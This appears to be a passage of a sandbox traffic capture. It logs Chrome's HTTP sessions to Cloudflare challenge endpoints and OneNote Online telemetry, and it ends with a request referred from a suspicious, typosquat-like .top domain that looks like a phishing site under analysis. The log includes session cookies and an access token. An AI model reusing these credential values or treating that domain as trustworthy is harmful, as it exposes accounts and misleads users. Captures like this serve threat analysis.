2024-10-25 08:19:53 UTC	1369	IN	Data Raw: 78 59 75 6a 73 39 43 56 6b 4d 33 4b 73 4b 75 72 30 62 47 39 78 63 6e 54 33 71 4c 43 6f 36 33 4d 70 74 76 52 39 4c 4c 6e 33 74 62 4e 39 50 6e 6f 2b 4c 58 4b 79 4c 76 79 30 4e 7a 36 41 64 2f 51 41 39 77 45 31 75 6a 47 41 41 6e 71 36 75 44 50 35 64 45 44 38 75 55 58 39 68 77 47 31 64 30 4f 39 42 55 4e 41 75 50 62 42 79 55 61 32 77 51 5a 4b 65 58 37 2b 51 45 6f 41 67 51 75 4a 75 38 68 42 42 63 6e 50 52 73 61 4e 7a 67 74 4d 51 31 41 47 43 64 43 48 53 59 49 49 43 7a 2b 50 55 52 49 4a 7a 70 52 45 53 30 6f 45 6c 4e 4e 57 78 4d 37 56 78 5a 50 51 56 46 55 57 55 78 64 56 6c 30 6e 50 31 77 31 61 45 42 50 61 47 74 4f 4d 45 68 55 4d 6c 35 75 4e 57 56 73 63 6e 70 32 62 6a 68 6f 4f 47 4a 59 59 46 78 42 62 32 64 69 64 48 2b 4e 67 32 4a 4c 66 6c 42 45 58 32 31 76 58 30 6c Data Ascii: xYujs9CVkM3KsKur0bG9xcnT3qLCo63MptvR9LLn3tbN9Pno+LXKyLvy0Nz6Ad/QA9wE1ujGAAnq6uDP5dED8uUX9hwG1d0O9BUNAuPbByUa2wQZKeX7+QEoAgQuJu8hBBcnPRsaNzgtMQ1AGCdCHSYIICz+PURIJzpRES0oElNNWxM7VxZPQVFUWUxdVl0nP1w1aEBPaGtOMEhUMl5uNWVscnp2bjhoOGJYYFxBb2didH+Ng2JLflBEX21vX0l
2024-10-25 08:19:53 UTC	1369	IN	Data Raw: 37 61 36 30 62 76 64 34 5a 33 6c 78 71 61 30 33 71 58 4b 76 4c 36 71 75 2f 47 39 34 66 50 32 34 76 48 32 73 4e 44 31 2b 76 7a 55 2b 66 34 43 32 50 30 44 41 39 77 43 42 77 6a 59 32 4e 34 4e 44 75 66 43 45 67 63 46 34 42 55 4a 44 51 76 79 37 67 2f 34 47 2b 59 4e 46 2b 7a 59 36 78 72 6c 38 67 4c 6b 42 2f 77 61 49 75 72 33 4c 67 54 6a 2b 75 6b 56 42 2b 67 6f 38 52 4d 72 4b 54 77 75 4b 67 73 65 44 42 50 37 52 69 51 50 47 66 35 46 4e 42 63 2f 49 67 56 50 43 45 45 38 44 43 78 4d 56 78 51 33 4b 6c 6c 63 4f 6c 31 48 54 55 4a 53 57 42 59 64 59 44 30 34 5a 57 4e 47 4f 55 4e 44 61 46 45 2f 51 79 6c 55 52 33 56 46 4d 32 39 52 53 46 6b 38 65 30 78 65 53 58 39 51 59 6c 47 44 56 47 5a 5a 68 31 68 71 59 59 74 63 62 6d 78 4a 69 59 5a 2b 61 56 65 43 64 6b 79 5a 57 4a 68 57 Data Ascii: 7a60bvd4Z3lxqa03qXKvL6qu/G94fP24vH2sND1+vzU+f4C2P0DA9wCBwjY2N4NDufCEgcF4BUJDQvy7g/4G+YNF+zY6xrl8gLkB/waIur3LgTj+ukVB+go8RMrKTwuKgseDBP7RiQPGf5FNBc/IgVPCEE8DCxMVxQ3KllcOl1HTUJSWBYdYD04ZWNGOUNDaFE/QylUR3VFM29RSFk8e0xeSX9QYlGDVGZZh1hqYYtcbmxJiYZ+aVeCdkyZWJhW
2024-10-25 08:19:53 UTC	1369	IN	Data Raw: 43 69 6e 63 69 2f 70 4a 32 6b 34 4d 58 6f 76 4f 54 50 7a 73 54 4f 30 2f 6a 68 30 2b 2f 53 79 50 44 62 32 66 37 4f 74 50 48 78 77 38 2f 50 38 74 50 4b 2b 65 50 49 77 41 76 47 44 65 58 65 30 52 58 6f 35 50 54 51 34 68 72 30 38 66 44 64 39 66 58 38 42 4e 34 46 41 2f 6f 70 46 4f 6b 47 43 67 73 44 48 2f 30 52 43 43 38 48 49 43 4c 76 41 2f 67 77 38 51 6b 39 48 42 73 52 47 79 42 46 52 69 41 39 48 78 56 49 4b 44 55 5a 54 67 30 38 50 79 51 63 4b 6b 34 51 46 45 56 43 53 52 4e 61 4b 53 38 62 58 44 51 68 49 43 52 61 57 43 39 41 49 31 6f 72 4c 47 4a 6c 4b 7a 68 71 62 43 6b 38 53 47 34 2f 64 6c 67 32 51 7a 77 7a 5a 6a 78 38 62 30 34 35 4f 6d 35 6d 52 58 5a 64 57 55 5a 36 61 57 52 48 55 48 35 51 52 5a 4a 31 58 32 46 75 68 32 4a 57 69 48 79 61 57 70 32 4f 6c 46 35 57 6d Data Ascii: Cinci/pJ2k4MXovOTPzsTO0/jh0+/SyPDb2f7OtPHxw8/P8tPK+ePIwAvGDeXe0RXo5PTQ4hr08fDd9fX8BN4FA/opFOkGCgsDH/0RCC8HICLvA/gw8Qk9HBsRGyBFRiA9HxVIKDUZTg08PyQcKk4QFEVCSRNaKS8bXDQhICRaWC9AI1orLGJlKzhqbCk8SG4/dlg2QzwzZjx8b045Om5mRXZdWUZ6aWRHUH5QRZJ1X2Fuh2JWiHyaWp2OlF5Wm
2024-10-25 08:19:53 UTC	1369	IN	Data Raw: 6d 79 62 69 75 75 38 75 76 75 2b 62 45 72 4f 58 50 75 50 69 78 39 73 7a 48 78 39 50 68 75 50 44 6b 31 4c 2f 50 34 38 57 38 42 63 50 69 44 41 72 43 30 52 49 4f 41 75 6e 4e 37 39 48 58 46 39 6f 4b 36 68 38 4b 32 76 7a 74 44 2f 7a 34 4a 66 7a 37 49 50 51 45 47 74 2f 32 35 54 4c 38 35 44 49 66 41 76 34 7a 4b 76 6e 36 4b 69 6f 65 43 42 63 32 2f 6b 41 75 4c 68 78 47 42 79 41 66 53 30 73 5a 49 77 59 51 4b 43 56 51 54 67 63 57 49 52 63 6b 4e 42 67 6b 54 79 30 56 54 6a 67 68 59 52 70 66 4e 54 41 77 50 45 6f 68 57 55 30 39 4b 44 68 4d 4c 69 56 74 4c 30 56 32 4e 32 35 46 65 31 42 64 56 30 70 72 57 46 32 43 66 6e 45 34 68 57 43 47 55 6b 4b 49 65 31 39 59 52 6b 78 64 53 57 68 73 56 47 43 57 63 57 52 55 63 31 64 58 61 47 43 50 62 6c 57 52 6e 57 61 6e 5a 35 6c 6f 64 70 Data Ascii: mybiuu8uvu+bErOXPuPix9szHx9PhuPDk1L/P48W8BcPiDArC0RIOAunN79HXF9oK6h8K2vztD/z4Jfz7IPQEGt/25TL85DIfAv4zKvn6KioeCBc2/kAuLhxGByAfS0sZIwYQKCVQTgcWIRckNBgkTy0VTjghYRpfNTAwPEohWU09KDhMLiVtL0V2N25Fe1BdV0prWF2CfnE4hWCGUkKIe19YRkxdSWhsVGCWcWRUc1dXaGCPblWRnWanZ5lodp
2024-10-25 08:19:53 UTC	1369	IN	Data Raw: 33 64 33 46 39 2f 48 31 78 2f 76 6c 36 63 77 41 2b 65 6e 4b 41 76 30 43 32 77 63 43 38 64 34 4c 33 77 37 61 44 76 6e 66 33 78 51 4f 7a 75 67 58 31 68 62 6e 47 67 59 57 36 78 30 4b 44 75 38 6b 39 79 62 79 4a 75 59 6d 2b 53 73 6d 44 50 59 75 37 69 59 45 4d 2f 4c 79 43 44 66 32 47 41 6f 38 45 41 77 4e 51 42 51 79 44 30 4d 75 2f 68 68 49 51 6a 59 59 53 54 59 36 49 30 34 50 4d 43 4a 53 50 6b 49 6e 56 6c 4a 43 49 31 73 77 53 6a 42 67 57 6d 49 79 59 6b 34 66 4d 32 5a 53 4f 44 70 72 51 47 4a 41 63 45 52 75 51 33 52 49 64 6b 52 31 59 6d 70 4d 65 6e 5a 36 53 33 38 2f 65 6c 65 43 66 6f 5a 50 68 31 79 47 56 34 70 32 66 6d 43 4f 54 30 74 66 6b 33 35 6b 5a 35 61 43 56 32 75 62 6c 70 35 73 6f 4a 71 41 65 4b 47 4f 6b 6e 71 6e 6f 70 35 35 71 34 43 65 66 36 2b 61 67 49 4f Data Ascii: 3d3F9/H1x/vl6cwA+enKAv0C2wcC8d4L3w7aDvnf3xQOzugX1hbnGgYW6x0KDu8k9ybyJuYm+SsmDPYu7iYEM/LyCDf2GAo8EAwNQBQyD0Mu/hhIQjYYSTY6I04PMCJSPkInVlJCI1swSjBgWmIyYk4fM2ZSODprQGJAcERuQ3RIdkR1YmpMenZ6S38/eleCfoZPh1yGV4p2fmCOT0tfk35kZ5aCV2ublp5soJqAeKGOknqnop55q4Cef6+agIO
2024-10-25 08:19:53 UTC	1369	IN	Data Raw: 2f 6a 6d 36 66 75 33 74 64 4b 7a 41 65 37 35 42 4c 2b 39 32 72 73 4a 39 2b 50 6e 79 4f 50 66 41 38 6b 43 42 64 58 52 31 75 66 6f 47 42 6e 77 37 52 77 4d 39 2b 6f 69 48 68 58 58 35 53 59 5a 36 65 58 71 2b 2f 77 75 37 65 37 36 37 68 38 46 42 54 51 6b 45 41 50 30 4e 54 6f 70 2f 66 33 36 4c 6a 38 45 52 6b 63 42 4d 55 59 30 53 45 55 4c 46 77 6f 51 4a 45 4a 52 51 43 67 77 45 6b 49 6f 53 52 4a 59 4b 43 63 61 4e 54 45 78 59 45 38 62 4c 79 4d 37 4a 7a 4d 6c 4c 45 42 61 62 56 73 76 54 43 31 65 52 47 45 75 63 33 70 44 4e 56 46 4e 54 58 78 73 58 45 73 2f 62 55 42 67 51 46 39 55 56 30 71 48 58 56 32 4d 65 35 4a 62 54 47 74 67 59 31 61 52 56 32 4e 55 63 32 68 73 58 70 74 78 63 61 43 50 58 32 39 67 66 33 52 34 61 71 56 72 64 32 69 48 66 49 46 79 72 34 57 46 74 4b 4e 33 Data Ascii: /jm6fu3tdKzAe75BL+92rsJ9+PnyOPfA8kCBdXR1ufoGBnw7RwM9+oiHhXX5SYZ6eXq+/wu7e767h8FBTQkEAP0NTop/f36Lj8ERkcBMUY0SEULFwoQJEJRQCgwEkIoSRJYKCcaNTExYE8bLyM7JzMlLEBabVsvTC1eRGEuc3pDNVFNTXxsXEs/bUBgQF9UV0qHXV2Me5JbTGtgY1aRV2NUc2hsXptxcaCPX29gf3R4aqVrd2iHfIFyr4WFtKN3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.6	50135	104.18.94.41	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:53 UTC	598	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/288705193:1729840334:sRaDFh_5wkaOFbDBegsq3qEaLLwQYyThGHzWC0p4_to/8d80c89969212cc4/sIwbR4kBQDnaOJQEIVh2GB..IZQF0KK8gwzwcgRDIJM-1729844386-1.1.1.1-OYgRsaQSLA6VjeCKhAF0wLFFKh4DbyPv1snTWMDTpeEUztZhjph5MsUGvika6RH_ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:19:53 UTC	379	IN	HTTP/1.1 404 Not Found Date: Fri, 25 Oct 2024 08:19:53 GMT Content-Type: application/json Content-Length: 7 Connection: close cf-chl-out: JvXK3HwNGpCFynXg3n7yrYM5S3OV1NcKjvk=$d6xyMbpaNsBrdfW7 cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8d80c8c5ef376b49-DFW alt-svc: h3=":443"; ma=86400
2024-10-25 08:19:53 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.6	50136	52.108.8.12	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:54 UTC	1174	OUT	POST /oa/RemoteUls.ashx?usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&officeserverversion= HTTP/1.1 Host: oauth.officeapps.live.com Connection: keep-alive Content-Length: 345 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://oauth.officeapps.live.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://oauth.officeapps.live.com/oa/WacOAuth.aspx?replyUrl=https://onenote.officeapps.live.com&usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&WacUserType=WOPI&sv=1&msalv3=1 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: xid=d8a72812-8574-4087-b953-5899e368a601&&ODSP-ODWEB-ODCF&345; E=P:Jiauos303Ig=:LuVpPK++Xqsv74IVHxbXnQE1KLbazIMsA91EvApP2Vc=:F; xidseq=2; wla42=; PUS11-ARRAffinity=9ea258528c12fc9b9a93ce6660789fc58d2ad73c9d536bd62f098877fcbfb31c; PUS6-ARRAffinity=14f6d01ec2e9966e974e910c6bbc40255f62304a612c443695baac782fee4c3b
2024-10-25 08:19:54 UTC	345	OUT	Data Raw: 7b 22 54 22 3a 31 37 32 39 38 34 34 33 36 32 34 31 37 2c 22 4c 22 3a 5b 7b 22 47 22 3a 35 30 37 32 38 32 34 33 32 2c 22 54 22 3a 31 38 34 35 2c 22 4d 22 3a 22 5b 53 48 41 52 45 44 2d 41 55 54 48 20 56 33 5d 20 53 75 63 63 65 73 73 66 75 6c 6c 79 20 69 6e 69 74 69 61 6c 69 7a 65 64 22 2c 22 43 22 3a 33 30 30 30 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 35 30 37 32 38 32 34 30 32 2c 22 54 22 3a 31 38 34 35 2c 22 4d 22 3a 22 5b 53 48 41 52 45 44 2d 41 55 54 48 5d 20 6d 73 61 6c 20 69 6e 73 74 61 6e 63 65 20 4c 6f 61 64 20 72 65 73 75 6c 74 3a 20 5b 53 75 63 63 65 73 73 5d 22 2c 22 43 22 3a 33 30 30 30 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 35 30 38 31 34 33 33 30 36 2c 22 54 22 3a 31 38 36 30 2c 22 4d 22 3a 22 5b 4d 53 41 4c 2d 41 50 49 5d 20 4d 73 61 6c Data Ascii: {"T":1729844362417,"L":[{"G":507282432,"T":1845,"M":"[SHARED-AUTH V3] Successfully initialized","C":3000,"D":50},{"G":507282402,"T":1845,"M":"[SHARED-AUTH] msal instance Load result: [Success]","C":3000,"D":50},{"G":508143306,"T":1860,"M":"[MSAL-API] Msal
2024-10-25 08:19:54 UTC	4313	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 273c2ed0-2eea-4aa4-a4b8-0fe963392db0 X-UserSessionId: d792bec9-feb6-4b93-b8c3-d25b567b0fc4 Strict-Transport-Security: max-age=31536000 X-OfficeFE: SN3PEPF0000F2F5 X-OfficeVersion: 16.0.18218.41000 X-OfficeCluster: PUS6 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://oauth.officeapps.live.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: C78C301AFEA9348D5ECE9A0B93BE4D1DAB74B6B1 X-bULS-SuppressedTags: 378069,1671813,2208151,2209344,3249545,3290144,4273285,4285850,4298965,4298968,4298969,4751696,5018275,5306497,5904476,6375195,6572226,6948167,7463498,8194017,8458642,17044289,17085210,17085216,17162522,17358857,17387682,19214611,19243470,19707039,19743902,19939648,20486158,21627712,21631370,22401293,22410500,22558617,22558879,22598977,22680210,22680213,22680214,22836558,22922182,22946650,23881934,23909858,24133723,24401375,24462656,24515087,25514973,25531993,33592839,34388130,35682372,36472266,36546380,36546381,36546382,36569418,36708451,36773964,36791688,36811158,36811159,36963655,37259477,37288035,37307491,37754499,37856259,37876293,37876294,37889309,38293640,38535900,38543496,38580697,38637954,38922202,39076766,39076767,39105358,39408129,39613840,39966341,40437001,40777251,40935455,40957978,40957979,41003225,41207258,41473876,41502555,41711299,41952657,41964821,41964885,42272991,42496725,42513088,42815875,42857251,50406866,50431969,50622685,51451613,51504083,51667010,84165957,306230 [TRUNCATED] X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF000136F3 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: 0D72B93A4BD74862AAF63699F918DD9B Ref B: DFW311000102047 Ref C: 2024-10-25T08:19:54Z Date: Fri, 25 Oct 2024 08:19:53 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.6	50137	52.108.8.12	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:54 UTC	1397	OUT	POST /o/RemoteUls.ashx?build=16.0.18214.41004&waccluster=PUS11&usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4 HTTP/1.1 Host: usc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 14467 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-WacFrontEnd: SN3PEPF00017C99 X-OfficeVersion: 16.0.18214.41004 X-Key: JET8TXCUqtsIdxzH7JR+8AxZAV8tHKhwZjWok0HNi3U=;WP9oBPW/wQjBzAXFqEEnFB3ZDLJg8dixW8eGJaFRJyU=,638654411289687050 X-WacUserAgent: MSWACONSync X-bULS-SuppressionETag: C78C301AFEA9348D5ECE9A0B93BE4D1DAB74B6B1 X-Requested-With: Fetch X-xhr: 1 sec-ch-ua-platform: "Windows" haep: 3 X-AccessToken: 4wjPhHBH0nlrBlym7f9uthso4F76PCTqyS4r1pC4F1k2k4GF3Khv6wB6Vc2ffRC0MzJIk3jHvdlqjmLIFmNLJXioIwgEvef6Q4qerGUxvsuiZZWpcOIoZaVJKXqZbF6u0A4aB9QLt3B58m7U4CtXAmCw X-AccessTokenTtl: 1730017122364 X-UserSessionId: d792bec9-feb6-4b93-b8c3-d25b567b0fc4 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded X-UserType: WOPI X-IsCoauthSession: true X-WacCluster: PUS11 Accept: / Origin: https://onenote.officeapps.live.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://onenote.officeapps.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:19:54 UTC	14467	OUT	Data Raw: 7b 22 54 22 3a 31 37 32 39 38 34 34 33 36 32 38 36 37 2c 22 4c 22 3a 5b 7b 22 47 22 3a 35 34 31 34 31 31 30 38 32 2c 22 54 22 3a 31 2c 22 4d 22 3a 22 53 65 6e 64 54 6f 57 6f 72 6b 65 72 41 70 69 20 77 69 74 68 20 6f 74 65 6c 22 2c 22 43 22 3a 32 32 36 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 35 34 31 34 31 31 30 38 32 2c 22 54 22 3a 33 2c 22 4d 22 3a 22 53 65 6e 64 54 6f 57 6f 72 6b 65 72 41 70 69 20 77 69 74 68 20 6f 74 65 6c 22 2c 22 43 22 3a 32 32 36 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 35 37 33 31 31 32 39 30 32 2c 22 54 22 3a 31 32 38 36 2c 22 4d 22 3a 22 53 68 61 72 65 64 41 75 74 68 54 6f 6b 65 6e 53 74 72 61 74 65 67 79 20 4f 6e 53 63 72 69 70 74 4c 6f 61 64 65 64 2e 20 53 75 63 63 65 73 73 3d 74 72 75 65 20 41 75 74 68 4c 69 62 72 61 72 79 Data Ascii: {"T":1729844362867,"L":[{"G":541411082,"T":1,"M":"SendToWorkerApi with otel","C":226,"D":50},{"G":541411082,"T":3,"M":"SendToWorkerApi with otel","C":226,"D":50},{"G":573112902,"T":1286,"M":"SharedAuthTokenStrategy OnScriptLoaded. Success=true AuthLibrary
2024-10-25 08:19:54 UTC	1654	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: d813f992-2239-4e5c-b266-db0e3d639349 X-UserSessionId: d792bec9-feb6-4b93-b8c3-d25b567b0fc4 Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: SN3PEPF00017C8B X-OfficeVersion: 16.0.18214.41004 X-OfficeCluster: PUS11 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://onenote.officeapps.live.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: C78C301AFEA9348D5ECE9A0B93BE4D1DAB74B6B1 nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-DFW31r5d&DC=PUS11&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF00017C8B X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_pptcapacity_control,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: 72C5E88A5C5C472B83C810D81084509A Ref B: DFW311000107027 Ref C: 2024-10-25T08:19:54Z Date: Fri, 25 Oct 2024 08:19:53 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.6	50141	52.108.8.12	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:55 UTC	607	OUT	GET /o/RemoteUls.ashx?build=16.0.18214.41004&waccluster=PUS11&usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4 HTTP/1.1 Host: usc-onenote.officeapps.live.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: xid=d8a72812-8574-4087-b953-5899e368a601&&ODSP-ODWEB-ODCF&345; E=P:Jiauos303Ig=:LuVpPK++Xqsv74IVHxbXnQE1KLbazIMsA91EvApP2Vc=:F; xidseq=2; wla42=
2024-10-25 08:19:55 UTC	4535	IN	HTTP/1.1 500 Internal Server Error Cache-Control: private Content-Length: 1208 Content-Type: text/html P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 52552ee1-ac03-40a1-b147-2ab2bc2b8cd4 X-UserSessionId: d792bec9-feb6-4b93-b8c3-d25b567b0fc4 Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: SN3PEPF00017C82 X-OfficeVersion: 16.0.18214.41004 X-OfficeCluster: PUS11 X-Partitioning-Enabled: true Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: C78C301AFEA9348D5ECE9A0B93BE4D1DAB74B6B1 X-bULS-SuppressedTags: 378069,1671813,2208151,2209344,3249545,3290144,4273285,4285850,4298965,4298968,4298969,4751696,5018275,5306497,5904476,6375195,6572226,6948167,7463498,8194017,8458642,17044289,17085210,17085216,17162522,17358857,17387682,19214611,19243470,19707039,19743902,19939648,20486158,21627712,21631370,22401293,22410500,22558617,22558879,22598977,22680210,22680213,22680214,22836558,22922182,22946650,23881934,23909858,24133723,24401375,24462656,24515087,25514973,25531993,33592839,34388130,35682372,36472266,36546380,36546381,36546382,36569418,36708451,36773964,36791688,36811158,36811159,36963655,37259477,37288035,37307491,37754499,37856259,37876293,37876294,37889309,38293640,38535900,38543496,38580697,38637954,38922202,39076766,39076767,39105358,39408129,39613840,39966341,40437001,40777251,40935455,40957978,40957979,41003225,41207258,41473876,41502555,41711299,41952657,41964821,41964885,42272991,42496725,42513088,42815875,42857251,50406866,50431969,50622685,51451613,51504083,51667010,84165957,306230 [TRUNCATED] X-InvalidUlsJson: nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-DFW31r5d&DC=PUS11&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF00017C82 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_visioslice,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: 5D434A10DF14482BAF7D152CF125C77B Ref B: DFW311000107037 Ref C: 2024-10-25T08:19:55Z Date: Fri, 25 Oct 2024 08:19:55 GMT Connection: close
2024-10-25 08:19:55 UTC	1208	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 35 30 30 20 2d 20 49 6e 74 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>500 - Int

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.6	50144	104.18.95.41	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:56 UTC	880	OUT	GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/zpfpa/0x4AAAAAAAyWJLKajdsL6TRH/auto/fbE/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: iframe Referer: https://ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
